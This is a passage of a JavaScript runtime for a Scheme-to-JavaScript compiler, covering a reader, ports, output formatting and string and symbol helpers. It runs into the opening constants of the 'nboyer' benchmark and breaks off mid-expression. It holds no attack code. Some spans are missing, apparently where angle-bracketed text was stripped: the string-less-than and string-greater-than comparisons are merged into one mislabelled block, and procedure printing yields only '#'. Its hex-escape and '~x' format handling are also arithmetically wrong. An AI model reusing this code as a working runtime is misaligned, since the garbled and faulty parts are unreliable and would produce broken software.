var c = port.readChar(); switch (c) { case '"': return new sc_Token(11/*STRING*/, res); case "\\": var tmp = port.readChar(); switch (tmp) { case '0': res += "\0"; break; case 'a': res += "\a"; break; case 'b': res += "\b"; break; case 'f': res += "\f"; break; case 'n': res += "\n"; break; case 'r': res += "\r"; break; case 't': res += "\t"; break; case 'v': res += "\v"; break; case '"': res += '"'; break; case '\\': res += '\\'; break; case 'x': /* hexa-number */ var nb = 0; while (true) { var hexC = port.peekChar(); if (hexC >= '0' && hexC <= '9') { port.readChar(); nb = nb * 16 + hexC.charCodeAt(0) - '0'.charCodeAt(0); } else if (hexC >= 'a' && hexC <= 'f') { port.readChar(); nb = nb * 16 + hexC.charCodeAt(0) - 'a'.charCodeAt(0); } else if (hexC >= 'A' && hexC <= 'F') { port.readChar(); nb = nb * 16 + hexC.charCodeAt(0) - 'A'.charCodeAt(0); } else { // next char isn't part of hex. res += String.fromCharCode(nb); break; } } break; default: if (tmp === SC_EOF_OBJECT) { return new sc_Token(13/*ERROR*/, "unclosed string-literal" + res); } res += tmp; } break; default: if (c === SC_EOF_OBJECT) { return new sc_Token(13/*ERROR*/, "unclosed string-literal" + res); } res += c; } } }; function readIdOrNumber(firstChar) { var res = firstChar; while (isIdOrNumberChar(port.peekChar())) res += port.readChar(); if (isNaN(res)) return new sc_Token(9/*ID*/, res); else return new sc_Token(12/*NUMBER*/, res - 0); }; function skipWhitespaceAndComments() { var done = false; while (!done) { done = true; while (isWhitespace(port.peekChar())) port.readChar(); if (port.peekChar() === ';') { port.readChar(); done = false; while (true) { curChar = port.readChar(); if (curChar === SC_EOF_OBJECT || curChar === '\n') break; } } } }; function readDot() { if (isWhitespace(port.peekChar())) return new sc_Token(10/*DOT*/); else return readIdOrNumber("."); }; function readSharp() { var c = port.readChar(); if (isWhitespace(c)) return new sc_Token(13/*ERROR*/, "bad #-pattern0."); // reference if (isNumberChar(c)) { var nb = c - 0; while (isNumberChar(port.peekChar())) nb = nb*10 + (port.readChar() - 0); switch (port.readChar()) { case '#': return new sc_Token(18/*REFERENCE*/, nb); case '=': return new sc_Token(19/*STORE*/, nb); default: return new sc_Token(13/*ERROR*/, "bad #-pattern1." + nb); } } if (c === "(") return new sc_Token(14/*VECTOR_BEGIN*/); if (c === "\\") { // character var tmp = "" while (!isWhitespaceOrEOF(port.peekChar())) tmp += port.readChar(); switch (tmp.length) { case 0: // it's escaping a whitespace char: if (sc_isEOFObject(port.peekChar)) return new sc_Token(13/*ERROR*/, "bad #-pattern2."); else return new sc_Token(20/*CHAR*/, port.readChar()); case 1: return new sc_Token(20/*CHAR*/, tmp); default: var entry = sc_Char.readable2char[tmp.toLowerCase()]; if (entry) return new sc_Token(20/*CHAR*/, entry); else return new sc_Token(13/*ERROR*/, "unknown character description: #\\" + tmp); } } // some constants (#t, #f, #unspecified) var res; var needing; switch (c) { case 't': res = new sc_Token(15/*TRUE*/, true); needing = ""; break; case 'f': res = new sc_Token(16/*FALSE*/, false); needing = ""; break; case 'u': res = new sc_Token(17/*UNSPECIFIED*/, undefined); needing = "nspecified"; break; default: return new sc_Token(13/*ERROR*/, "bad #-pattern3: " + c); } while(true) { c = port.peekChar(); if ((isWhitespaceOrEOF(c) || c === ')') && needing == "") return res; else if (isWhitespace(c) || needing == "") return new sc_Token(13/*ERROR*/, "bad #-pattern4 " + c + " " + needing); else if (needing.charAt(0) == c) { port.readChar(); // consume needing = needing.slice(1); } else return new sc_Token(13/*ERROR*/, "bad #-pattern5"); } }; skipWhitespaceAndComments(); var curChar = port.readChar(); if (curChar === SC_EOF_OBJECT) return new sc_Token(0/*EOF*/, curChar); switch (curChar) { case " ": case "\n": case "\t": return readWhitespace(); case "(": return new sc_Token(1/*OPEN_PAR*/); case ")": return new sc_Token(2/*CLOSE_PAR*/); case "{": return new sc_Token(3/*OPEN_BRACE*/); case "}": return new sc_Token(4/*CLOSE_BRACE*/); case "[": return new sc_Token(5/*OPEN_BRACKET*/); case "]": return new sc_Token(6/*CLOSE_BRACKET*/); case "'": return new sc_Token(8/*QUOTE*/); case "#": return readSharp(); case ".": return readDot(); case '"': return readString(); default: if (isIdOrNumberChar(curChar)) return readIdOrNumber(curChar); throw "unexpected character: " + curChar; } }; function sc_Reader(tokenizer) { this.tokenizer = tokenizer; this.backref = new Array(); } sc_Reader.prototype.read = function() { function readList(listBeginType) { function matchesPeer(open, close) { return open === 1/*OPEN_PAR*/ && close === 2/*CLOSE_PAR*/ || open === 3/*OPEN_BRACE*/ && close === 4/*CLOSE_BRACE*/ || open === 5/*OPEN_BRACKET*/ && close === 6/*CLOSE_BRACKET*/; }; var res = null; while (true) { var token = tokenizer.peekToken(); switch (token.type) { case 2/*CLOSE_PAR*/: case 4/*CLOSE_BRACE*/: case 6/*CLOSE_BRACKET*/: if (matchesPeer(listBeginType, token.type)) { tokenizer.readToken(); // consume token return sc_reverseBang(res); } else throw "closing par doesn't match: " + listBeginType + " " + listEndType; case 0/*EOF*/: throw "unexpected end of file"; case 10/*DOT*/: tokenizer.readToken(); // consume token var cdr = this.read(); var par = tokenizer.readToken(); if (!matchesPeer(listBeginType, par.type)) throw "closing par doesn't match: " + listBeginType + " " + par.type; else return sc_reverseAppendBang(res, cdr); default: res = sc_cons(this.read(), res); } } }; function readQuote() { return sc_cons("quote", sc_cons(this.read(), null)); }; function readVector() { // opening-parenthesis is already consumed var a = new Array(); while (true) { var token = tokenizer.peekToken(); switch (token.type) { case 2/*CLOSE_PAR*/: tokenizer.readToken(); return a; default: a.push(this.read()); } } }; function storeRefence(nb) { var tmp = this.read(); this.backref[nb] = tmp; return tmp; }; function readReference(nb) { if (nb in this.backref) return this.backref[nb]; else throw "bad reference: " + nb; }; var tokenizer = this.tokenizer; var token = tokenizer.readToken(); // handle error if (token.type === 13/*ERROR*/) throw token.val; switch (token.type) { case 1/*OPEN_PAR*/: case 3/*OPEN_BRACE*/: case 5/*OPEN_BRACKET*/: return readList.call(this, token.type); case 8/*QUOTE*/: return readQuote.call(this); case 11/*STRING*/: return sc_jsstring2string(token.val); case 20/*CHAR*/: return new sc_Char(token.val); case 14/*VECTOR_BEGIN*/: return readVector.call(this); case 18/*REFERENCE*/: return readReference.call(this, token.val); case 19/*STORE*/: return storeRefence.call(this, token.val); case 9/*ID*/: return sc_jsstring2symbol(token.val); case 0/*EOF*/: case 12/*NUMBER*/: case 15/*TRUE*/: case 16/*FALSE*/: case 17/*UNSPECIFIED*/: return token.val; default: throw "unexpected token " + token.type + " " + token.val; } }; /*** META ((export #t)) */ function sc_read(port) { if (port === undefined) // we assume the port hasn't been given. port = SC_DEFAULT_IN; // THREAD: shared var... var reader = new sc_Reader(new sc_Tokenizer(port)); return reader.read(); } /*** META ((export #t)) */ function sc_readChar(port) { if (port === undefined) // we assume the port hasn't been given. port = SC_DEFAULT_IN; // THREAD: shared var... var t = port.readChar(); return t === SC_EOF_OBJECT? t: new sc_Char(t); } /*** META ((export #t)) */ function sc_peekChar(port) { if (port === undefined) // we assume the port hasn't been given. port = SC_DEFAULT_IN; // THREAD: shared var... var t = port.peekChar(); return t === SC_EOF_OBJECT? t: new sc_Char(t); } /*** META ((export #t) (type bool)) */ function sc_isCharReady(port) { if (port === undefined) // we assume the port hasn't been given. port = SC_DEFAULT_IN; // THREAD: shared var... return port.isCharReady(); } /*** META ((export #t) (peephole (postfix ".close()"))) */ function sc_closeInputPort(p) { return p.close(); } /*** META ((export #t) (type bool) (peephole (postfix " instanceof sc_InputPort"))) */ function sc_isInputPort(o) { return (o instanceof sc_InputPort); } /*** META ((export eof-object?) (type bool) (peephole (postfix " === SC_EOF_OBJECT"))) */ function sc_isEOFObject(o) { return o === SC_EOF_OBJECT; } /*** META ((export #t) (peephole (hole 0 "SC_DEFAULT_IN"))) */ function sc_currentInputPort() { return SC_DEFAULT_IN; } /* ------------ file operations are not supported -----------*/ /*** META ((export #t)) */ function sc_callWithInputFile(s, proc) { throw "can't open " + s; } /*** META ((export #t)) */ function sc_callWithOutputFile(s, proc) { throw "can't open " + s; } /*** META ((export #t)) */ function sc_withInputFromFile(s, thunk) { throw "can't open " + s; } /*** META ((export #t)) */ function sc_withOutputToFile(s, thunk) { throw "can't open " + s; } /*** META ((export #t)) */ function sc_openInputFile(s) { throw "can't open " + s; } /*** META ((export #t)) */ function sc_openOutputFile(s) { throw "can't open " + s; } /* ----------------------------------------------------------------------------*/ /*** META ((export #t)) */ function sc_basename(p) { var i = p.lastIndexOf('/'); if(i >= 0) return p.substring(i + 1, p.length); else return ''; } /*** META ((export #t)) */ function sc_dirname(p) { var i = p.lastIndexOf('/'); if(i >= 0) return p.substring(0, i); else return ''; } /* ----------------------------------------------------------------------------*/ /*** META ((export #t)) */ function sc_withInputFromPort(p, thunk) { try { var tmp = SC_DEFAULT_IN; // THREAD: shared var. SC_DEFAULT_IN = p; return thunk(); } finally { SC_DEFAULT_IN = tmp; } } /*** META ((export #t)) */ function sc_withInputFromString(s, thunk) { return sc_withInputFromPort(new sc_StringInputPort(sc_string2jsstring(s)), thunk); } /*** META ((export #t)) */ function sc_withOutputToPort(p, thunk) { try { var tmp = SC_DEFAULT_OUT; // THREAD: shared var. SC_DEFAULT_OUT = p; return thunk(); } finally { SC_DEFAULT_OUT = tmp; } } /*** META ((export #t)) */ function sc_withOutputToString(thunk) { var p = new sc_StringOutputPort(); sc_withOutputToPort(p, thunk); return p.close(); } /*** META ((export #t)) */ function sc_withOutputToProcedure(proc, thunk) { var t = function(s) { proc(sc_jsstring2string(s)); }; return sc_withOutputToPort(new sc_GenericOutputPort(t), thunk); } /*** META ((export #t) (peephole (hole 0 "new sc_StringOutputPort()"))) */ function sc_openOutputString() { return new sc_StringOutputPort(); } /*** META ((export #t)) */ function sc_openInputString(str) { return new sc_StringInputPort(sc_string2jsstring(str)); } /* ----------------------------------------------------------------------------*/ function sc_OutputPort() { } sc_OutputPort.prototype = new sc_Port(); sc_OutputPort.prototype.appendJSString = function(obj) { /* do nothing */ } sc_OutputPort.prototype.close = function() { /* do nothing */ } function sc_StringOutputPort() { this.res = ""; } sc_StringOutputPort.prototype = new sc_OutputPort(); sc_StringOutputPort.prototype.appendJSString = function(s) { this.res += s; } sc_StringOutputPort.prototype.close = function() { return sc_jsstring2string(this.res); } /*** META ((export #t)) */ function sc_getOutputString(sp) { return sc_jsstring2string(sp.res); } function sc_ErrorOutputPort() { } sc_ErrorOutputPort.prototype = new sc_OutputPort(); sc_ErrorOutputPort.prototype.appendJSString = function(s) { throw "don't write on ErrorPort!"; } sc_ErrorOutputPort.prototype.close = function() { /* do nothing */ } function sc_GenericOutputPort(appendJSString, close) { this.appendJSString = appendJSString; if (close) this.close = close; } sc_GenericOutputPort.prototype = new sc_OutputPort(); /*** META ((export #t) (type bool) (peephole (postfix " instanceof sc_OutputPort"))) */ function sc_isOutputPort(o) { return (o instanceof sc_OutputPort); } /*** META ((export #t) (peephole (postfix ".close()"))) */ function sc_closeOutputPort(p) { return p.close(); } /* ------------------ write ---------------------------------------------------*/ /*** META ((export #t)) */ function sc_write(o, p) { if (p === undefined) // we assume not given p = SC_DEFAULT_OUT; p.appendJSString(sc_toWriteString(o)); } function sc_toWriteString(o) { if (o === null) return "()"; else if (o === true) return "#t"; else if (o === false) return "#f"; else if (o === undefined) return "#unspecified"; else if (typeof o === 'function') return "#"; else if (o.sc_toWriteString) return o.sc_toWriteString(); else return o.toString(); } function sc_escapeWriteString(s) { var res = ""; var j = 0; for (i = 0; i < s.length; i++) { switch (s.charAt(i)) { case "\0": res += s.substring(j, i) + "\\0"; j = i + 1; break; case "\b": res += s.substring(j, i) + "\\b"; j = i + 1; break; case "\f": res += s.substring(j, i) + "\\f"; j = i + 1; break; case "\n": res += s.substring(j, i) + "\\n"; j = i + 1; break; case "\r": res += s.substring(j, i) + "\\r"; j = i + 1; break; case "\t": res += s.substring(j, i) + "\\t"; j = i + 1; break; case "\v": res += s.substring(j, i) + "\\v"; j = i + 1; break; case '"': res += s.substring(j, i) + '\\"'; j = i + 1; break; case "\\": res += s.substring(j, i) + "\\\\"; j = i + 1; break; default: var c = s.charAt(i); if ("\a" !== "a" && c == "\a") { res += s.substring(j, i) + "\\a"; j = i + 1; continue; } if ("\v" !== "v" && c == "\v") { res += s.substring(j, i) + "\\v"; j = i + 1; continue; } //if (s.charAt(i) < ' ' || s.charCodeAt(i) > 127) { // CARE: Manuel is this OK with HOP? if (s.charAt(i) < ' ') { /* non printable character and special chars */ res += s.substring(j, i) + "\\x" + s.charCodeAt(i).toString(16); j = i + 1; } // else just let i increase... } } res += s.substring(j, i); return res; } /* ------------------ display ---------------------------------------------------*/ /*** META ((export #t)) */ function sc_display(o, p) { if (p === undefined) // we assume not given p = SC_DEFAULT_OUT; p.appendJSString(sc_toDisplayString(o)); } function sc_toDisplayString(o) { if (o === null) return "()"; else if (o === true) return "#t"; else if (o === false) return "#f"; else if (o === undefined) return "#unspecified"; else if (typeof o === 'function') return "#"; else if (o.sc_toDisplayString) return o.sc_toDisplayString(); else return o.toString(); } /* ------------------ newline ---------------------------------------------------*/ /*** META ((export #t)) */ function sc_newline(p) { if (p === undefined) // we assume not given p = SC_DEFAULT_OUT; p.appendJSString("\n"); } /* ------------------ write-char ---------------------------------------------------*/ /*** META ((export #t)) */ function sc_writeChar(c, p) { if (p === undefined) // we assume not given p = SC_DEFAULT_OUT; p.appendJSString(c.val); } /* ------------------ write-circle ---------------------------------------------------*/ /*** META ((export #t)) */ function sc_writeCircle(o, p) { if (p === undefined) // we assume not given p = SC_DEFAULT_OUT; p.appendJSString(sc_toWriteCircleString(o)); } function sc_toWriteCircleString(o) { var symb = sc_gensym("writeCircle"); var nbPointer = new Object(); nbPointer.nb = 0; sc_prepWriteCircle(o, symb, nbPointer); return sc_genToWriteCircleString(o, symb); } function sc_prepWriteCircle(o, symb, nbPointer) { // TODO sc_Struct if (o instanceof sc_Pair || o instanceof sc_Vector) { if (o[symb] !== undefined) { // not the first visit. o[symb]++; // unless there is already a number, assign one. if (!o[symb + "nb"]) o[symb + "nb"] = nbPointer.nb++; return; } o[symb] = 0; if (o instanceof sc_Pair) { sc_prepWriteCircle(o.car, symb, nbPointer); sc_prepWriteCircle(o.cdr, symb, nbPointer); } else { for (var i = 0; i < o.length; i++) sc_prepWriteCircle(o[i], symb, nbPointer); } } } function sc_genToWriteCircleString(o, symb) { if (!(o instanceof sc_Pair || o instanceof sc_Vector)) return sc_toWriteString(o); return o.sc_toWriteCircleString(symb); } sc_Pair.prototype.sc_toWriteCircleString = function(symb, inList) { if (this[symb + "use"]) { // use-flag is set. Just use it. var nb = this[symb + "nb"]; if (this[symb]-- === 0) { // if we are the last use. remove all fields. delete this[symb]; delete this[symb + "nb"]; delete this[symb + "use"]; } if (inList) return '. #' + nb + '#'; else return '#' + nb + '#'; } if (this[symb]-- === 0) { // if we are the last use. remove all fields. delete this[symb]; delete this[symb + "nb"]; delete this[symb + "use"]; } var res = ""; if (this[symb] !== undefined) { // implies > 0 this[symb + "use"] = true; if (inList) res += '. #' + this[symb + "nb"] + '='; else res += '#' + this[symb + "nb"] + '='; inList = false; } if (!inList) res += "("; // print car res += sc_genToWriteCircleString(this.car, symb); if (sc_isPair(this.cdr)) { res += " " + this.cdr.sc_toWriteCircleString(symb, true); } else if (this.cdr !== null) { res += " . " + sc_genToWriteCircleString(this.cdr, symb); } if (!inList) res += ")"; return res; }; sc_Vector.prototype.sc_toWriteCircleString = function(symb) { if (this[symb + "use"]) { // use-flag is set. Just use it. var nb = this[symb + "nb"]; if (this[symb]-- === 0) { // if we are the last use. remove all fields. delete this[symb]; delete this[symb + "nb"]; delete this[symb + "use"]; } return '#' + nb + '#'; } if (this[symb]-- === 0) { // if we are the last use. remove all fields. delete this[symb]; delete this[symb + "nb"]; delete this[symb + "use"]; } var res = ""; if (this[symb] !== undefined) { // implies > 0 this[symb + "use"] = true; res += '#' + this[symb + "nb"] + '='; } res += "#("; for (var i = 0; i < this.length; i++) { res += sc_genToWriteCircleString(this[i], symb); if (i < this.length - 1) res += " "; } res += ")"; return res; }; /* ------------------ print ---------------------------------------------------*/ /*** META ((export #t)) */ function sc_print(s) { if (arguments.length === 1) { sc_display(s); sc_newline(); } else { for (var i = 0; i < arguments.length; i++) sc_display(arguments[i]); sc_newline(); } } /* ------------------ format ---------------------------------------------------*/ /*** META ((export #t)) */ function sc_format(s, args) { var len = s.length; var p = new sc_StringOutputPort(); var i = 0, j = 1; while( i < len ) { var i2 = s.indexOf("~", i); if (i2 == -1) { p.appendJSString( s.substring( i, len ) ); return p.close(); } else { if (i2 > i) { if (i2 == (len - 1)) { p.appendJSString(s.substring(i, len)); return p.close(); } else { p.appendJSString(s.substring(i, i2)); i = i2; } } switch(s.charCodeAt(i2 + 1)) { case 65: case 97: // a sc_display(arguments[j], p); i += 2; j++; break; case 83: case 115: // s sc_write(arguments[j], p); i += 2; j++; break; case 86: case 118: // v sc_display(arguments[j], p); p.appendJSString("\n"); i += 2; j++; break; case 67: case 99: // c p.appendJSString(String.fromCharCode(arguments[j])); i += 2; j++; break; case 88: case 120: // x p.appendJSString(arguments[j].toString(6)); i += 2; j++; break; case 79: case 111: // o p.appendJSString(arguments[j].toString(8)); i += 2; j++; break; case 66: case 98: // b p.appendJSString(arguments[j].toString(2)); i += 2; j++; break; case 37: case 110: // %, n p.appendJSString("\n"); i += 2; break; case 114: // r p.appendJSString("\r"); i += 2; break; case 126: // ~ p.appendJSString("~"); i += 2; break; default: sc_error( "format: illegal ~" + String.fromCharCode(s.charCodeAt(i2 + 1)) + " sequence" ); return ""; } } } return p.close(); } /* ------------------ global ports ---------------------------------------------------*/ var SC_DEFAULT_IN = new sc_ErrorInputPort(); var SC_DEFAULT_OUT = new sc_ErrorOutputPort(); var SC_ERROR_OUT = new sc_ErrorOutputPort(); var sc_SYMBOL_PREFIX = "\u1E9C"; var sc_KEYWORD_PREFIX = "\u1E9D"; /*** META ((export #t) (peephole (id))) */ function sc_jsstring2string(s) { return s; } /*** META ((export #t) (peephole (prefix "'\\u1E9C' +"))) */ function sc_jsstring2symbol(s) { return sc_SYMBOL_PREFIX + s; } /*** META ((export #t) (peephole (id))) */ function sc_string2jsstring(s) { return s; } /*** META ((export #t) (peephole (symbol2jsstring_immutable))) */ function sc_symbol2jsstring(s) { return s.slice(1); } /*** META ((export #t) (peephole (postfix ".slice(1)"))) */ function sc_keyword2jsstring(k) { return k.slice(1); } /*** META ((export #t) (peephole (prefix "'\\u1E9D' +"))) */ function sc_jsstring2keyword(s) { return sc_KEYWORD_PREFIX + s; } /*** META ((export #t) (type bool)) */ function sc_isKeyword(s) { return (typeof s === "string") && (s.charAt(0) === sc_KEYWORD_PREFIX); } /*** META ((export #t)) */ var sc_gensym = function() { var counter = 1000; return function(sym) { counter++; if (!sym) sym = sc_SYMBOL_PREFIX; return sym + "s" + counter + "~" + "^sC-GeNsYm "; }; }(); /*** META ((export #t) (type bool)) */ function sc_isEqual(o1, o2) { return ((o1 === o2) || (sc_isPair(o1) && sc_isPair(o2) && sc_isPairEqual(o1, o2, sc_isEqual)) || (sc_isVector(o1) && sc_isVector(o2) && sc_isVectorEqual(o1, o2, sc_isEqual))); } /*** META ((export number->symbol integer->symbol)) */ function sc_number2symbol(x, radix) { return sc_SYMBOL_PREFIX + sc_number2jsstring(x, radix); } /*** META ((export number->string integer->string)) */ var sc_number2string = sc_number2jsstring; /*** META ((export #t)) */ function sc_symbol2number(s, radix) { return sc_jsstring2number(s.slice(1), radix); } /*** META ((export #t)) */ var sc_string2number = sc_jsstring2number; /*** META ((export #t) (peephole (prefix "+" s))) ;; peephole will only apply if no radix is given. */ function sc_string2integer(s, radix) { if (!radix) return +s; return parseInt(s, radix); } /*** META ((export #t) (peephole (prefix "+"))) */ function sc_string2real(s) { return +s; } /*** META ((export #t) (type bool)) */ function sc_isSymbol(s) { return (typeof s === "string") && (s.charAt(0) === sc_SYMBOL_PREFIX); } /*** META ((export #t) (peephole (symbol2string_immutable))) */ function sc_symbol2string(s) { return s.slice(1); } /*** META ((export #t) (peephole (prefix "'\\u1E9C' +"))) */ function sc_string2symbol(s) { return sc_SYMBOL_PREFIX + s; } /*** META ((export symbol-append) (peephole (symbolAppend_immutable))) */ function sc_symbolAppend() { var res = sc_SYMBOL_PREFIX; for (var i = 0; i < arguments.length; i++) res += arguments[i].slice(1); return res; } /*** META ((export #t) (peephole (postfix ".val"))) */ function sc_char2string(c) { return c.val; } /*** META ((export #t) (peephole (hole 1 "'\\u1E9C' + " c ".val"))) */ function sc_char2symbol(c) { return sc_SYMBOL_PREFIX + c.val; } /*** META ((export #t) (type bool)) */ function sc_isString(s) { return (typeof s === "string") && (s.charAt(0) !== sc_SYMBOL_PREFIX); } /*** META ((export #t)) */ var sc_makeString = sc_makejsString; /*** META ((export #t)) */ function sc_string() { for (var i = 0; i < arguments.length; i++) arguments[i] = arguments[i].val; return "".concat.apply("", arguments); } /*** META ((export #t) (peephole (postfix ".length"))) */ function sc_stringLength(s) { return s.length; } /*** META ((export #t)) */ function sc_stringRef(s, k) { return new sc_Char(s.charAt(k)); } /* there's no stringSet in the immutable version function sc_stringSet(s, k, c) */ /*** META ((export string=?) (type bool) (peephole (hole 2 str1 " === " str2))) */ function sc_isStringEqual(s1, s2) { return s1 === s2; } /*** META ((export string?) (type bool) (peephole (hole 2 str1 " > " str2))) */ function sc_isStringGreater(s1, s2) { return s1 > s2; } /*** META ((export string<=?) (type bool) (peephole (hole 2 str1 " <= " str2))) */ function sc_isStringLessEqual(s1, s2) { return s1 <= s2; } /*** META ((export string>=?) (type bool) (peephole (hole 2 str1 " >= " str2))) */ function sc_isStringGreaterEqual(s1, s2) { return s1 >= s2; } /*** META ((export string-ci=?) (type bool) (peephole (hole 2 str1 ".toLowerCase() === " str2 ".toLowerCase()"))) */ function sc_isStringCIEqual(s1, s2) { return s1.toLowerCase() === s2.toLowerCase(); } /*** META ((export string-ci?) (type bool) (peephole (hole 2 str1 ".toLowerCase() > " str2 ".toLowerCase()"))) */ function sc_isStringCIGreater(s1, s2) { return s1.toLowerCase() > s2.toLowerCase(); } /*** META ((export string-ci<=?) (type bool) (peephole (hole 2 str1 ".toLowerCase() <= " str2 ".toLowerCase()"))) */ function sc_isStringCILessEqual(s1, s2) { return s1.toLowerCase() <= s2.toLowerCase(); } /*** META ((export string-ci>=?) (type bool) (peephole (hole 2 str1 ".toLowerCase() >= " str2 ".toLowerCase()"))) */ function sc_isStringCIGreaterEqual(s1, s2) { return s1.toLowerCase() >= s2.toLowerCase(); } /*** META ((export #t) (peephole (hole 3 s ".substring(" start ", " end ")"))) */ function sc_substring(s, start, end) { return s.substring(start, end); } /*** META ((export #t)) */ function sc_isSubstring_at(s1, s2, i) { return s2 == s1.substring(i, i+ s2.length); } /*** META ((export #t) (peephole (infix 0 #f "+" "''"))) */ function sc_stringAppend() { return "".concat.apply("", arguments); } /*** META ((export #t)) */ var sc_string2list = sc_jsstring2list; /*** META ((export #t)) */ var sc_list2string = sc_list2jsstring; /*** META ((export #t) (peephole (id))) */ function sc_stringCopy(s) { return s; } /* there's no string-fill in the immutable version function sc_stringFill(s, c) */ /*** META ((export #t) (peephole (postfix ".slice(1)"))) */ function sc_keyword2string(o) { return o.slice(1); } /*** META ((export #t) (peephole (prefix "'\\u1E9D' +"))) */ function sc_string2keyword(o) { return sc_KEYWORD_PREFIX + o; } String.prototype.sc_toDisplayString = function() { if (this.charAt(0) === sc_SYMBOL_PREFIX) // TODO: care for symbols with spaces (escape-chars symbols). return this.slice(1); else if (this.charAt(0) === sc_KEYWORD_PREFIX) return ":" + this.slice(1); else return this.toString(); }; String.prototype.sc_toWriteString = function() { if (this.charAt(0) === sc_SYMBOL_PREFIX) // TODO: care for symbols with spaces (escape-chars symbols). return this.slice(1); else if (this.charAt(0) === sc_KEYWORD_PREFIX) return ":" + this.slice(1); else return '"' + sc_escapeWriteString(this) + '"'; }; /* Exported Variables */ var BgL_testzd2boyerzd2; var BgL_nboyerzd2benchmarkzd2; var BgL_setupzd2boyerzd2; /* End Exports */ var translate_term_nboyer; var translate_args_nboyer; var untranslate_term_nboyer; var BgL_sc_symbolzd2ze3symbolzd2record_1ze3_nboyer; var BgL_sc_za2symbolzd2recordszd2alistza2_2z00_nboyer; var translate_alist_nboyer; var apply_subst_nboyer; var apply_subst_lst_nboyer; var tautologyp_nboyer; var if_constructor_nboyer; var rewrite_count_nboyer; var rewrite_nboyer; var rewrite_args_nboyer; var unify_subst_nboyer; var one_way_unify1_nboyer; var false_term_nboyer; var true_term_nboyer; var trans_of_implies1_nboyer; var is_term_equal_nboyer; var is_term_member_nboyer; var const_nboyer; var sc_const_3_nboyer; var sc_const_4_nboyer; { (sc_const_4_nboyer = (new sc_Pair("\u1E9Cimplies",(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cimplies",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cimplies",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cz",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cimplies",(new sc_Pair("\u1E9Cz",(new sc_Pair("\u1E9Cu",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cimplies",(new sc_Pair("\u1E9Cu",(new sc_Pair("\u1E9Cw",null)))))),null)))))),null)))))),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cimplies",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cw",null)))))),null))))))); (sc_const_3_nboyer = sc_list((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ccompile",(new sc_Pair("\u1E9Cform",null)))),(new sc_Pair((new sc_Pair("\u1E9Creverse",(new sc_Pair((new sc_Pair("\u1E9Ccodegen",(new sc_Pair((new sc_Pair("\u1E9Coptimize",(new sc_Pair("\u1E9Cform",null)))),(new sc_Pair((new sc_Pair("\u1E9Cnil",null)),null)))))),null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ceqp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cfix",(new sc_Pair("\u1E9Cy",null)))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cgreaterp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cx",null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Clesseqp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cx",null)))))),null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cgreatereqp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cnot",(new sc_Pair((new sc_Pair("\u1E9Clessp",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),null)))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cboolean",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cor",(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Ct",null)),null)))))),(new sc_Pair((new sc_Pair("\u1E9Cequal",(new sc_Pair("\u1E9Cx",(new sc_Pair((new sc_Pair("\u1E9Cf",null)),null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ciff",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cand",(new sc_Pair((new sc_Pair("\u1E9Cimplies",(new sc_Pair("\u1E9Cx",(new sc_Pair("\u1E9Cy",null)))))),(new sc_Pair((new sc_Pair("\u1E9Cimplies",(new sc_Pair("\u1E9Cy",(new sc_Pair("\u1E9Cx",null)))))),null)))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ceven1",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Cif",(new sc_Pair((new sc_Pair("\u1E9Czerop",(new sc_Pair("\u1E9Cx",null)))),(new sc_Pair((new sc_Pair("\u1E9Ct",null)),(new sc_Pair((new sc_Pair("\u1E9Codd",(new sc_Pair((new sc_Pair("\u1E9Csub1",(new sc_Pair("\u1E9Cx",null)))),null)))),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Ccountps-",(new sc_Pair("\u1E9Cl",(new sc_Pair("\u1E9Cpred",null)))))),(new sc_Pair((new sc_Pair("\u1E9Ccountps-loop",(new sc_Pair("\u1E9Cl",(new sc_Pair("\u1E9Cpred",(new sc_Pair((new sc_Pair("\u1E9Czero",null)),null)))))))),null)))))), (new sc_Pair("\u1E9Cequal",(new sc_Pair((new sc_Pair("\u1E9Cfact-",(new 